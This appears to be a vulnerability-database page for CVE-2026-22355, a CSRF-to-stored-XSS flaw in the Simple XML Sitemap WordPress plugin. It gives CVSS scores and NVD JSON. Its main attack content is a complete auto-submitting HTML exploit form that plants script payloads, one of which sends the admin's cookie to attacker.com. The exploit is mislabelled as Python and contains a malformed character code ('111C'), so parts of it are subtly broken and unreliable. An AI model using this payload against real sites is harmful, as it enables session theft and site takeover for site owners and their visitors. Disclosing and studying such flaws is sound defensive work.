Security Vulnerability Report
中文
CVE-2026-22355 CVSS 7.1 HIGH

CVE-2026-22355

Published: 2026-01-22 17:16:32
Last Modified: 2026-04-15 00:35:42

Description

Cross-Site Request Forgery (CSRF) vulnerability in gregmolnar Simple XML Sitemap simple-xml-sitemap allows Stored XSS.This issue affects Simple XML Sitemap: from n/a through <= 1.3.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

simple-xml-sitemap <= 1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2026-22355: Simple XML Sitemap CSRF to Stored XSS --> <!-- Save this as poc.html and open in browser while logged into WordPress admin --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - Simple XML Sitemap</title> </head> <body> <h1>CSRF PoC for CVE-2026-22355</h1> <p>This PoC demonstrates the CSRF vulnerability in Simple XML Sitemap plugin.</p> <form action="http://target-site/wp-admin/admin.php?page=simple-xml-sitemap" method="POST" id="csrfForm"> <input type="hidden" name="simple_xml_sitemap_options[homepage_priority]" value="1.0"> <input type="hidden" name="simple_xml_sitemap_options[homepage_change_frequency]" value="always"> <input type="hidden" name="simple_xml_sitemap_options[post_types][post]" value="1"> <input type="hidden" name="simple_xml_sitemap_options[post_types][page]" value="1"> <!-- XSS payload injected via CSRF --> <input type="hidden" name="simple_xml_sitemap_options[custom_priority]" value='"><script>alert(String.fromCharCode(88,83,83,32,80,111C,101,100))</script><x y='> <input type="hidden" name="simple_xml_sitemap_options[excluded_posts]" value='1"><img src=x onerror=document.location="https://attacker.com/steal?cookie="+document.cookie>'> <input type="hidden" name="simple_xml_sitemap_options[taxonomies][category]" value="1"> <input type="hidden" name="simple_xml_sitemap_options[submit]" value="Save Settings"> </form> <script> // Auto-submit form on page load document.getElementById('csrfForm').submit(); console.log('CSRF PoC submitted'); </script> <p>If you see this message, the form was already submitted.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22355", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:31.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in gregmolnar Simple XML Sitemap simple-xml-sitemap allows Stored XSS.This issue affects Simple XML Sitemap: from n/a through <= 1.3."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en gregmolnar Simple XML Sitemap simple-xml-sitemap permite XSS Almacenado. Este problema afecta a Simple XML Sitemap: desde n/a hasta &lt;= 1.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-xml-sitemap/vulnerability/wordpress-simple-xml-sitemap-plugin-1-3-csrf-to-stored-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}